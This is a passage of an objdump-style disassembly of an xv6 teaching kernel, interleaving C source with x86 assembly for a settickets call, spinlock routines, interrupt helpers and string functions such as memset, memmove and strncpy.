$0x80116374,-0x10(%ebp) 8010508d: 0f 82 1c ff ff ff jb 80104faf <procdump+0x12> for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); } } 80105093: 90 nop 80105094: c9 leave 80105095: c3 ret 80105096 <settickets>: int settickets(int num) { 80105096: 55 push %ebp 80105097: 89 e5 mov %esp,%ebp 80105099: 83 ec 08 sub $0x8,%esp if(num < 0) 8010509c: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 801050a0: 79 07 jns 801050a9 <settickets+0x13> return -1; 801050a2: b8 ff ff ff ff mov $0xffffffff,%eax 801050a7: eb 31 jmp 801050da <settickets+0x44> acquire(&ptable.lock); 801050a9: 83 ec 0c sub $0xc,%esp 801050ac: 68 40 43 11 80 push $0x80114340 801050b1: e8 80 00 00 00 call 80105136 <acquire> 801050b6: 83 c4 10 add $0x10,%esp proc->tickets = num; 801050b9: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801050bf: 8b 55 08 mov 0x8(%ebp),%edx 801050c2: 89 50 7c mov %edx,0x7c(%eax) release(&ptable.lock); 801050c5: 83 ec 0c sub $0xc,%esp 801050c8: 68 40 43 11 80 push $0x80114340 801050cd: e8 cb 00 00 00 call 8010519d <release> 801050d2: 83 c4 10 add $0x10,%esp return 0; 801050d5: b8 00 00 00 00 mov $0x0,%eax 801050da: c9 leave 801050db: c3 ret 801050dc <readeflags>: asm volatile("ltr %0" : : "r" (sel)); } static inline uint readeflags(void) { 801050dc: 55 push %ebp 801050dd: 89 e5 mov %esp,%ebp 801050df: 83 ec 10 sub $0x10,%esp uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 801050e2: 9c pushf 801050e3: 58 pop %eax 801050e4: 89 45 fc mov %eax,-0x4(%ebp) return eflags; 801050e7: 8b 45 fc mov -0x4(%ebp),%eax } 801050ea: c9 leave 801050eb: c3 ret 801050ec <cli>: asm volatile("movw %0, %%gs" : : "r" (v)); } static inline void cli(void) { 801050ec: 55 push %ebp 801050ed: 89 e5 mov %esp,%ebp asm volatile("cli"); 801050ef: fa cli } 801050f0: 90 nop 801050f1: 5d pop %ebp 801050f2: c3 ret 801050f3 <sti>: static inline void sti(void) { 801050f3: 55 push %ebp 801050f4: 89 e5 mov %esp,%ebp asm volatile("sti"); 801050f6: fb sti } 801050f7: 90 nop 801050f8: 5d pop %ebp 801050f9: c3 ret 801050fa <xchg>: asm volatile("hlt"); } static inline uint xchg(volatile uint *addr, uint newval) { 801050fa: 55 push %ebp 801050fb: 89 e5 mov %esp,%ebp 801050fd: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80105100: 8b 55 08 mov 0x8(%ebp),%edx 80105103: 8b 45 0c mov 0xc(%ebp),%eax 80105106: 8b 4d 08 mov 0x8(%ebp),%ecx 80105109: f0 87 02 lock xchg %eax,(%edx) 8010510c: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 8010510f: 8b 45 fc mov -0x4(%ebp),%eax } 80105112: c9 leave 80105113: c3 ret 80105114 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80105114: 55 push %ebp 80105115: 89 e5 mov %esp,%ebp lk->name = name; 80105117: 8b 45 08 mov 0x8(%ebp),%eax 8010511a: 8b 55 0c mov 0xc(%ebp),%edx 8010511d: 89 50 04 mov %edx,0x4(%eax) lk->locked = 0; 80105120: 8b 45 08 mov 0x8(%ebp),%eax 80105123: c7 00 00 00 00 00 movl $0x0,(%eax) lk->cpu = 0; 80105129: 8b 45 08 mov 0x8(%ebp),%eax 8010512c: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80105133: 90 nop 80105134: 5d pop %ebp 80105135: c3 ret 80105136 <acquire>: // Loops (spins) until the lock is acquired. // Holding a lock for a long time may cause // other CPUs to waste time spinning to acquire it. void acquire(struct spinlock *lk) { 80105136: 55 push %ebp 80105137: 89 e5 mov %esp,%ebp 80105139: 83 ec 08 sub $0x8,%esp pushcli(); // disable interrupts to avoid deadlock. 8010513c: e8 52 01 00 00 call 80105293 <pushcli> if(holding(lk)) 80105141: 8b 45 08 mov 0x8(%ebp),%eax 80105144: 83 ec 0c sub $0xc,%esp 80105147: 50 push %eax 80105148: e8 1c 01 00 00 call 80105269 <holding> 8010514d: 83 c4 10 add $0x10,%esp 80105150: 85 c0 test %eax,%eax 80105152: 74 0d je 80105161 <acquire+0x2b> panic("acquire"); 80105154: 83 ec 0c sub $0xc,%esp 80105157: 68 39 8d 10 80 push $0x80108d39 8010515c: e8 05 b4 ff ff call 80100566 <panic> // The xchg is atomic. // It also serializes, so that reads after acquire are not // reordered before it. while(xchg(&lk->locked, 1) != 0) 80105161: 90 nop 80105162: 8b 45 08 mov 0x8(%ebp),%eax 80105165: 83 ec 08 sub $0x8,%esp 80105168: 6a 01 push $0x1 8010516a: 50 push %eax 8010516b: e8 8a ff ff ff call 801050fa <xchg> 80105170: 83 c4 10 add $0x10,%esp 80105173: 85 c0 test %eax,%eax 80105175: 75 eb jne 80105162 <acquire+0x2c> ; // Record info about lock acquisition for debugging. lk->cpu = cpu; 80105177: 8b 45 08 mov 0x8(%ebp),%eax 8010517a: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80105181: 89 50 08 mov %edx,0x8(%eax) getcallerpcs(&lk, lk->pcs); 80105184: 8b 45 08 mov 0x8(%ebp),%eax 80105187: 83 c0 0c add $0xc,%eax 8010518a: 83 ec 08 sub $0x8,%esp 8010518d: 50 push %eax 8010518e: 8d 45 08 lea 0x8(%ebp),%eax 80105191: 50 push %eax 80105192: e8 58 00 00 00 call 801051ef <getcallerpcs> 80105197: 83 c4 10 add $0x10,%esp } 8010519a: 90 nop 8010519b: c9 leave 8010519c: c3 ret 8010519d <release>: // Release the lock. void release(struct spinlock *lk) { 8010519d: 55 push %ebp 8010519e: 89 e5 mov %esp,%ebp 801051a0: 83 ec 08 sub $0x8,%esp if(!holding(lk)) 801051a3: 83 ec 0c sub $0xc,%esp 801051a6: ff 75 08 pushl 0x8(%ebp) 801051a9: e8 bb 00 00 00 call 80105269 <holding> 801051ae: 83 c4 10 add $0x10,%esp 801051b1: 85 c0 test %eax,%eax 801051b3: 75 0d jne 801051c2 <release+0x25> panic("release"); 801051b5: 83 ec 0c sub $0xc,%esp 801051b8: 68 41 8d 10 80 push $0x80108d41 801051bd: e8 a4 b3 ff ff call 80100566 <panic> lk->pcs[0] = 0; 801051c2: 8b 45 08 mov 0x8(%ebp),%eax 801051c5: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) lk->cpu = 0; 801051cc: 8b 45 08 mov 0x8(%ebp),%eax 801051cf: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) // But the 2007 Intel 64 Architecture Memory Ordering White // Paper says that Intel 64 and IA-32 will not move a load // after a store. So lock->locked = 0 would work here. // The xchg being asm volatile ensures gcc emits it after // the above assignments (and after the critical section). xchg(&lk->locked, 0); 801051d6: 8b 45 08 mov 0x8(%ebp),%eax 801051d9: 83 ec 08 sub $0x8,%esp 801051dc: 6a 00 push $0x0 801051de: 50 push %eax 801051df: e8 16 ff ff ff call 801050fa <xchg> 801051e4: 83 c4 10 add $0x10,%esp popcli(); 801051e7: e8 ec 00 00 00 call 801052d8 <popcli> } 801051ec: 90 nop 801051ed: c9 leave 801051ee: c3 ret 801051ef <getcallerpcs>: // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 801051ef: 55 push %ebp 801051f0: 89 e5 mov %esp,%ebp 801051f2: 83 ec 10 sub $0x10,%esp uint *ebp; int i; ebp = (uint*)v - 2; 801051f5: 8b 45 08 mov 0x8(%ebp),%eax 801051f8: 83 e8 08 sub $0x8,%eax 801051fb: 89 45 fc mov %eax,-0x4(%ebp) for(i = 0; i < 10; i++){ 801051fe: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp) 80105205: eb 38 jmp 8010523f <getcallerpcs+0x50> if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80105207: 83 7d fc 00 cmpl $0x0,-0x4(%ebp) 8010520b: 74 53 je 80105260 <getcallerpcs+0x71> 8010520d: 81 7d fc ff ff ff 7f cmpl $0x7fffffff,-0x4(%ebp) 80105214: 76 4a jbe 80105260 <getcallerpcs+0x71> 80105216: 83 7d fc ff cmpl $0xffffffff,-0x4(%ebp) 8010521a: 74 44 je 80105260 <getcallerpcs+0x71> break; pcs[i] = ebp[1]; // saved %eip 8010521c: 8b 45 f8 mov -0x8(%ebp),%eax 8010521f: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80105226: 8b 45 0c mov 0xc(%ebp),%eax 80105229: 01 c2 add %eax,%edx 8010522b: 8b 45 fc mov -0x4(%ebp),%eax 8010522e: 8b 40 04 mov 0x4(%eax),%eax 80105231: 89 02 mov %eax,(%edx) ebp = (uint*)ebp[0]; // saved %ebp 80105233: 8b 45 fc mov -0x4(%ebp),%eax 80105236: 8b 00 mov (%eax),%eax 80105238: 89 45 fc mov %eax,-0x4(%ebp) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 8010523b: 83 45 f8 01 addl $0x1,-0x8(%ebp) 8010523f: 83 7d f8 09 cmpl $0x9,-0x8(%ebp) 80105243: 7e c2 jle 80105207 <getcallerpcs+0x18> if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 80105245: eb 19 jmp 80105260 <getcallerpcs+0x71> pcs[i] = 0; 80105247: 8b 45 f8 mov -0x8(%ebp),%eax 8010524a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80105251: 8b 45 0c mov 0xc(%ebp),%eax 80105254: 01 d0 add %edx,%eax 80105256: c7 00 00 00 00 00 movl $0x0,(%eax) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010525c: 83 45 f8 01 addl $0x1,-0x8(%ebp) 80105260: 83 7d f8 09 cmpl $0x9,-0x8(%ebp) 80105264: 7e e1 jle 80105247 <getcallerpcs+0x58> pcs[i] = 0; } 80105266: 90 nop 80105267: c9 leave 80105268: c3 ret 80105269 <holding>: // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 80105269: 55 push %ebp 8010526a: 89 e5 mov %esp,%ebp return lock->locked && lock->cpu == cpu; 8010526c: 8b 45 08 mov 0x8(%ebp),%eax 8010526f: 8b 00 mov (%eax),%eax 80105271: 85 c0 test %eax,%eax 80105273: 74 17 je 8010528c <holding+0x23> 80105275: 8b 45 08 mov 0x8(%ebp),%eax 80105278: 8b 50 08 mov 0x8(%eax),%edx 8010527b: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80105281: 39 c2 cmp %eax,%edx 80105283: 75 07 jne 8010528c <holding+0x23> 80105285: b8 01 00 00 00 mov $0x1,%eax 8010528a: eb 05 jmp 80105291 <holding+0x28> 8010528c: b8 00 00 00 00 mov $0x0,%eax } 80105291: 5d pop %ebp 80105292: c3 ret 80105293 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80105293: 55 push %ebp 80105294: 89 e5 mov %esp,%ebp 80105296: 83 ec 10 sub $0x10,%esp int eflags; eflags = readeflags(); 80105299: e8 3e fe ff ff call 801050dc <readeflags> 8010529e: 89 45 fc mov %eax,-0x4(%ebp) cli(); 801052a1: e8 46 fe ff ff call 801050ec <cli> if(cpu->ncli++ == 0) 801052a6: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 801052ad: 8b 82 ac 00 00 00 mov 0xac(%edx),%eax 801052b3: 8d 48 01 lea 0x1(%eax),%ecx 801052b6: 89 8a ac 00 00 00 mov %ecx,0xac(%edx) 801052bc: 85 c0 test %eax,%eax 801052be: 75 15 jne 801052d5 <pushcli+0x42> cpu->intena = eflags & FL_IF; 801052c0: 65 a1 00 00 00 00 mov %gs:0x0,%eax 801052c6: 8b 55 fc mov -0x4(%ebp),%edx 801052c9: 81 e2 00 02 00 00 and $0x200,%edx 801052cf: 89 90 b0 00 00 00 mov %edx,0xb0(%eax) } 801052d5: 90 nop 801052d6: c9 leave 801052d7: c3 ret 801052d8 <popcli>: void popcli(void) { 801052d8: 55 push %ebp 801052d9: 89 e5 mov %esp,%ebp 801052db: 83 ec 08 sub $0x8,%esp if(readeflags()&FL_IF) 801052de: e8 f9 fd ff ff call 801050dc <readeflags> 801052e3: 25 00 02 00 00 and $0x200,%eax 801052e8: 85 c0 test %eax,%eax 801052ea: 74 0d je 801052f9 <popcli+0x21> panic("popcli - interruptible"); 801052ec: 83 ec 0c sub $0xc,%esp 801052ef: 68 49 8d 10 80 push $0x80108d49 801052f4: e8 6d b2 ff ff call 80100566 <panic> if(--cpu->ncli < 0) 801052f9: 65 a1 00 00 00 00 mov %gs:0x0,%eax 801052ff: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx 80105305: 83 ea 01 sub $0x1,%edx 80105308: 89 90 ac 00 00 00 mov %edx,0xac(%eax) 8010530e: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax 80105314: 85 c0 test %eax,%eax 80105316: 79 0d jns 80105325 <popcli+0x4d> panic("popcli"); 80105318: 83 ec 0c sub $0xc,%esp 8010531b: 68 60 8d 10 80 push $0x80108d60 80105320: e8 41 b2 ff ff call 80100566 <panic> if(cpu->ncli == 0 && cpu->intena) 80105325: 65 a1 00 00 00 00 mov %gs:0x0,%eax 8010532b: 8b 80 ac 00 00 00 mov 0xac(%eax),%eax 80105331: 85 c0 test %eax,%eax 80105333: 75 15 jne 8010534a <popcli+0x72> 80105335: 65 a1 00 00 00 00 mov %gs:0x0,%eax 8010533b: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax 80105341: 85 c0 test %eax,%eax 80105343: 74 05 je 8010534a <popcli+0x72> sti(); 80105345: e8 a9 fd ff ff call 801050f3 <sti> } 8010534a: 90 nop 8010534b: c9 leave 8010534c: c3 ret 8010534d <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 8010534d: 55 push %ebp 8010534e: 89 e5 mov %esp,%ebp 80105350: 57 push %edi 80105351: 53 push %ebx asm volatile("cld; rep stosb" : 80105352: 8b 4d 08 mov 0x8(%ebp),%ecx 80105355: 8b 55 10 mov 0x10(%ebp),%edx 80105358: 8b 45 0c mov 0xc(%ebp),%eax 8010535b: 89 cb mov %ecx,%ebx 8010535d: 89 df mov %ebx,%edi 8010535f: 89 d1 mov %edx,%ecx 80105361: fc cld 80105362: f3 aa rep stos %al,%es:(%edi) 80105364: 89 ca mov %ecx,%edx 80105366: 89 fb mov %edi,%ebx 80105368: 89 5d 08 mov %ebx,0x8(%ebp) 8010536b: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 8010536e: 90 nop 8010536f: 5b pop %ebx 80105370: 5f pop %edi 80105371: 5d pop %ebp 80105372: c3 ret 80105373 <stosl>: static inline void stosl(void *addr, int data, int cnt) { 80105373: 55 push %ebp 80105374: 89 e5 mov %esp,%ebp 80105376: 57 push %edi 80105377: 53 push %ebx asm volatile("cld; rep stosl" : 80105378: 8b 4d 08 mov 0x8(%ebp),%ecx 8010537b: 8b 55 10 mov 0x10(%ebp),%edx 8010537e: 8b 45 0c mov 0xc(%ebp),%eax 80105381: 89 cb mov %ecx,%ebx 80105383: 89 df mov %ebx,%edi 80105385: 89 d1 mov %edx,%ecx 80105387: fc cld 80105388: f3 ab rep stos %eax,%es:(%edi) 8010538a: 89 ca mov %ecx,%edx 8010538c: 89 fb mov %edi,%ebx 8010538e: 89 5d 08 mov %ebx,0x8(%ebp) 80105391: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 80105394: 90 nop 80105395: 5b pop %ebx 80105396: 5f pop %edi 80105397: 5d pop %ebp 80105398: c3 ret 80105399 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80105399: 55 push %ebp 8010539a: 89 e5 mov %esp,%ebp if ((int)dst%4 == 0 && n%4 == 0){ 8010539c: 8b 45 08 mov 0x8(%ebp),%eax 8010539f: 83 e0 03 and $0x3,%eax 801053a2: 85 c0 test %eax,%eax 801053a4: 75 43 jne 801053e9 <memset+0x50> 801053a6: 8b 45 10 mov 0x10(%ebp),%eax 801053a9: 83 e0 03 and $0x3,%eax 801053ac: 85 c0 test %eax,%eax 801053ae: 75 39 jne 801053e9 <memset+0x50> c &= 0xFF; 801053b0: 81 65 0c ff 00 00 00 andl $0xff,0xc(%ebp) stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 801053b7: 8b 45 10 mov 0x10(%ebp),%eax 801053ba: c1 e8 02 shr $0x2,%eax 801053bd: 89 c1 mov %eax,%ecx 801053bf: 8b 45 0c mov 0xc(%ebp),%eax 801053c2: c1 e0 18 shl $0x18,%eax 801053c5: 89 c2 mov %eax,%edx 801053c7: 8b 45 0c mov 0xc(%ebp),%eax 801053ca: c1 e0 10 shl $0x10,%eax 801053cd: 09 c2 or %eax,%edx 801053cf: 8b 45 0c mov 0xc(%ebp),%eax 801053d2: c1 e0 08 shl $0x8,%eax 801053d5: 09 d0 or %edx,%eax 801053d7: 0b 45 0c or 0xc(%ebp),%eax 801053da: 51 push %ecx 801053db: 50 push %eax 801053dc: ff 75 08 pushl 0x8(%ebp) 801053df: e8 8f ff ff ff call 80105373 <stosl> 801053e4: 83 c4 0c add $0xc,%esp 801053e7: eb 12 jmp 801053fb <memset+0x62> } else stosb(dst, c, n); 801053e9: 8b 45 10 mov 0x10(%ebp),%eax 801053ec: 50 push %eax 801053ed: ff 75 0c pushl 0xc(%ebp) 801053f0: ff 75 08 pushl 0x8(%ebp) 801053f3: e8 55 ff ff ff call 8010534d <stosb> 801053f8: 83 c4 0c add $0xc,%esp return dst; 801053fb: 8b 45 08 mov 0x8(%ebp),%eax } 801053fe: c9 leave 801053ff: c3 ret 80105400 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80105400: 55 push %ebp 80105401: 89 e5 mov %esp,%ebp 80105403: 83 ec 10 sub $0x10,%esp const uchar *s1, *s2; s1 = v1; 80105406: 8b 45 08 mov 0x8(%ebp),%eax 80105409: 89 45 fc mov %eax,-0x4(%ebp) s2 = v2; 8010540c: 8b 45 0c mov 0xc(%ebp),%eax 8010540f: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0){ 80105412: eb 30 jmp 80105444 <memcmp+0x44> if(*s1 != *s2) 80105414: 8b 45 fc mov -0x4(%ebp),%eax 80105417: 0f b6 10 movzbl (%eax),%edx 8010541a: 8b 45 f8 mov -0x8(%ebp),%eax 8010541d: 0f b6 00 movzbl (%eax),%eax 80105420: 38 c2 cmp %al,%dl 80105422: 74 18 je 8010543c <memcmp+0x3c> return *s1 - *s2; 80105424: 8b 45 fc mov -0x4(%ebp),%eax 80105427: 0f b6 00 movzbl (%eax),%eax 8010542a: 0f b6 d0 movzbl %al,%edx 8010542d: 8b 45 f8 mov -0x8(%ebp),%eax 80105430: 0f b6 00 movzbl (%eax),%eax 80105433: 0f b6 c0 movzbl %al,%eax 80105436: 29 c2 sub %eax,%edx 80105438: 89 d0 mov %edx,%eax 8010543a: eb 1a jmp 80105456 <memcmp+0x56> s1++, s2++; 8010543c: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80105440: 83 45 f8 01 addl $0x1,-0x8(%ebp) { const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80105444: 8b 45 10 mov 0x10(%ebp),%eax 80105447: 8d 50 ff lea -0x1(%eax),%edx 8010544a: 89 55 10 mov %edx,0x10(%ebp) 8010544d: 85 c0 test %eax,%eax 8010544f: 75 c3 jne 80105414 <memcmp+0x14> if(*s1 != *s2) return *s1 - *s2; s1++, s2++; } return 0; 80105451: b8 00 00 00 00 mov $0x0,%eax } 80105456: c9 leave 80105457: c3 ret 80105458 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80105458: 55 push %ebp 80105459: 89 e5 mov %esp,%ebp 8010545b: 83 ec 10 sub $0x10,%esp const char *s; char *d; s = src; 8010545e: 8b 45 0c mov 0xc(%ebp),%eax 80105461: 89 45 fc mov %eax,-0x4(%ebp) d = dst; 80105464: 8b 45 08 mov 0x8(%ebp),%eax 80105467: 89 45 f8 mov %eax,-0x8(%ebp) if(s < d && s + n > d){ 8010546a: 8b 45 fc mov -0x4(%ebp),%eax 8010546d: 3b 45 f8 cmp -0x8(%ebp),%eax 80105470: 73 54 jae 801054c6 <memmove+0x6e> 80105472: 8b 55 fc mov -0x4(%ebp),%edx 80105475: 8b 45 10 mov 0x10(%ebp),%eax 80105478: 01 d0 add %edx,%eax 8010547a: 3b 45 f8 cmp -0x8(%ebp),%eax 8010547d: 76 47 jbe 801054c6 <memmove+0x6e> s += n; 8010547f: 8b 45 10 mov 0x10(%ebp),%eax 80105482: 01 45 fc add %eax,-0x4(%ebp) d += n; 80105485: 8b 45 10 mov 0x10(%ebp),%eax 80105488: 01 45 f8 add %eax,-0x8(%ebp) while(n-- > 0) 8010548b: eb 13 jmp 801054a0 <memmove+0x48> *--d = *--s; 8010548d: 83 6d f8 01 subl $0x1,-0x8(%ebp) 80105491: 83 6d fc 01 subl $0x1,-0x4(%ebp) 80105495: 8b 45 fc mov -0x4(%ebp),%eax 80105498: 0f b6 10 movzbl (%eax),%edx 8010549b: 8b 45 f8 mov -0x8(%ebp),%eax 8010549e: 88 10 mov %dl,(%eax) s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; while(n-- > 0) 801054a0: 8b 45 10 mov 0x10(%ebp),%eax 801054a3: 8d 50 ff lea -0x1(%eax),%edx 801054a6: 89 55 10 mov %edx,0x10(%ebp) 801054a9: 85 c0 test %eax,%eax 801054ab: 75 e0 jne 8010548d <memmove+0x35> const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 801054ad: eb 24 jmp 801054d3 <memmove+0x7b> d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) *d++ = *s++; 801054af: 8b 45 f8 mov -0x8(%ebp),%eax 801054b2: 8d 50 01 lea 0x1(%eax),%edx 801054b5: 89 55 f8 mov %edx,-0x8(%ebp) 801054b8: 8b 55 fc mov -0x4(%ebp),%edx 801054bb: 8d 4a 01 lea 0x1(%edx),%ecx 801054be: 89 4d fc mov %ecx,-0x4(%ebp) 801054c1: 0f b6 12 movzbl (%edx),%edx 801054c4: 88 10 mov %dl,(%eax) s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 801054c6: 8b 45 10 mov 0x10(%ebp),%eax 801054c9: 8d 50 ff lea -0x1(%eax),%edx 801054cc: 89 55 10 mov %edx,0x10(%ebp) 801054cf: 85 c0 test %eax,%eax 801054d1: 75 dc jne 801054af <memmove+0x57> *d++ = *s++; return dst; 801054d3: 8b 45 08 mov 0x8(%ebp),%eax } 801054d6: c9 leave 801054d7: c3 ret 801054d8 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 801054d8: 55 push %ebp 801054d9: 89 e5 mov %esp,%ebp return memmove(dst, src, n); 801054db: ff 75 10 pushl 0x10(%ebp) 801054de: ff 75 0c pushl 0xc(%ebp) 801054e1: ff 75 08 pushl 0x8(%ebp) 801054e4: e8 6f ff ff ff call 80105458 <memmove> 801054e9: 83 c4 0c add $0xc,%esp } 801054ec: c9 leave 801054ed: c3 ret 801054ee <strncmp>: int strncmp(const char *p, const char *q, uint n) { 801054ee: 55 push %ebp 801054ef: 89 e5 mov %esp,%ebp while(n > 0 && *p && *p == *q) 801054f1: eb 0c jmp 801054ff <strncmp+0x11> n--, p++, q++; 801054f3: 83 6d 10 01 subl $0x1,0x10(%ebp) 801054f7: 83 45 08 01 addl $0x1,0x8(%ebp) 801054fb: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 801054ff: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105503: 74 1a je 8010551f <strncmp+0x31> 80105505: 8b 45 08 mov 0x8(%ebp),%eax 80105508: 0f b6 00 movzbl (%eax),%eax 8010550b: 84 c0 test %al,%al 8010550d: 74 10 je 8010551f <strncmp+0x31> 8010550f: 8b 45 08 mov 0x8(%ebp),%eax 80105512: 0f b6 10 movzbl (%eax),%edx 80105515: 8b 45 0c mov 0xc(%ebp),%eax 80105518: 0f b6 00 movzbl (%eax),%eax 8010551b: 38 c2 cmp %al,%dl 8010551d: 74 d4 je 801054f3 <strncmp+0x5> n--, p++, q++; if(n == 0) 8010551f: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80105523: 75 07 jne 8010552c <strncmp+0x3e> return 0; 80105525: b8 00 00 00 00 mov $0x0,%eax 8010552a: eb 16 jmp 80105542 <strncmp+0x54> return (uchar)*p - (uchar)*q; 8010552c: 8b 45 08 mov 0x8(%ebp),%eax 8010552f: 0f b6 00 movzbl (%eax),%eax 80105532: 0f b6 d0 movzbl %al,%edx 80105535: 8b 45 0c mov 0xc(%ebp),%eax 80105538: 0f b6 00 movzbl (%eax),%eax 8010553b: 0f b6 c0 movzbl %al,%eax 8010553e: 29 c2 sub %eax,%edx 80105540: 89 d0 mov %edx,%eax } 80105542: 5d pop %ebp 80105543: c3 ret 80105544 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80105544: 55 push %ebp 80105545: 89 e5 mov %esp,%ebp 80105547: 83 ec 10 sub $0x10,%esp char *os; os = s; 8010554a: 8b 45 08 mov 0x8(%ebp),%eax 8010554d: 89 45 fc mov %eax,-0x4(%ebp) while(n-- > 0 && (*s++ = *t++) != 0) 80105550: 90 nop 80105551: 8b 45 10 mov 0x10(%ebp),%eax 80105554: 8d 50 ff lea -0x1(%eax),%edx 80105557: 89 55 10 mov %edx,0x10(%ebp) 8010555a: 85 c0 test %eax,%eax 8010555c: 7e 2c jle 8010558a <strncpy+0x46> 8010555e: 8b 45 08 mov 0x8(%ebp),%eax 80105561: 8d 50 01 lea 0x1(%eax),%edx 80105564: 89 55 08 mov %edx,0x8(%ebp) 80105567: 8b 55 0c mov 0xc(%ebp),%edx 8010556a: 8d 4a 01 lea 0x1(%edx),%ecx 8010556d: 89 4d 0c mov %ecx,0xc(%ebp) 80105570: 0f b6 12 movzbl (%edx),%edx 80105573: 88 10 mov %dl,(%eax) 80105575: 0f b6 00 movzbl (%eax),%eax 80105578: 84 c0 test %al,%al 8010557a: 75 d5 jne 80105551 <strncpy+0xd> ; while(n-- > 0) 8010557c: eb 0c jmp 8010558a <strncpy+0x46> *s++ = 0; 8010557e: 8b 45 08 mov 0x8(%ebp),%eax 80105581: 8d 50 01 lea 0x1(%eax),%edx 80105584: 89 55 08 mov %edx,0x8(%ebp) 80105587: c6 00 00 movb $0x0,(%eax) char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) ; while(n-- > 0) 8010558a: 8b 45 10 mov 0x10(%ebp),%eax 8010558d: 8d 50 ff lea -0x1(%eax),%edx 80105590: 89 55 10 mov %edx,0x10(%ebp) 80105593: 85 c0 test %eax,%eax 80105595: 7f e7 jg 8010557e <strncpy+0x3a> *s++ = 0; return os; 80105597: 8b 45 fc mov -0x4(%ebp),%eax } 8010559a: c9 leave 8010559b: c3 ret 8010559c <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 8010559c: 55 push %ebp 8010559d: 89 e5 mov %esp,%ebp 8010559f: 83 ec 10 sub $0x10,%esp char *os; os = s; 801055a2: 8b 45 08 mov 0x8(%ebp),%eax 801055a5: 89 45 fc mov %eax,-0x4(%ebp) if(n <= 0) 801055a8: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 801055ac: 7f 05 jg 801055b3 <safestrcpy+0x17> return os; 801055ae: 8b 45 fc mov -0x4(%ebp),%eax 801055b1: eb 31 jmp 801055e4 <safestrcpy+0x48> while(--n > 0 && (*s++ = *t++) != 0) 801055b3: 83 6d 10 01 subl $0x1,0x10(%ebp) 801055b7: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 801055bb: 7e 1e jle 801055db <safestrcpy+0x3f> 801055bd: 8b 45 08 mov 0x8(%ebp),%eax 801055c0: 8d 50 01 lea 0x1(%eax),%edx 801055c3: 89 55 08 mov %edx,0x8(%ebp) 801055c6: 8b 55 0c mov 0xc(%ebp),%edx 801055c9: 8d 4a 01 lea 0x1(%edx),%ecx 801055cc: 89 4d 0c mov %ecx,0xc(%ebp) 801055cf: 0f b6 12 movzbl (%edx),%edx 801055d2: 88 10 mov %dl,(%eax) 801055d4: 0f b6 00 movzbl (%eax),%eax 801055d7: 84 c0 test %al,%al 801055d9: 75 d8 jne 801055b3 <safestrcpy+0x17> ; *s = 0; 801055db: 8b 45 08 mov 0x8(%ebp),%eax 801055de: c6 00 00 movb $0x0,(%eax) return os; 801055e1: 8b 45 fc mov -0x4(%ebp),%eax } 801055e4: c9 leave 801055e5: c3 ret 801055e6 <strlen>: int strlen(const char *s) { 801055e6: 55 push %ebp 801055e7: 89 e5 mov %esp,%ebp 801055e9: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 801055ec: c7 45 fc 00 00 00 00 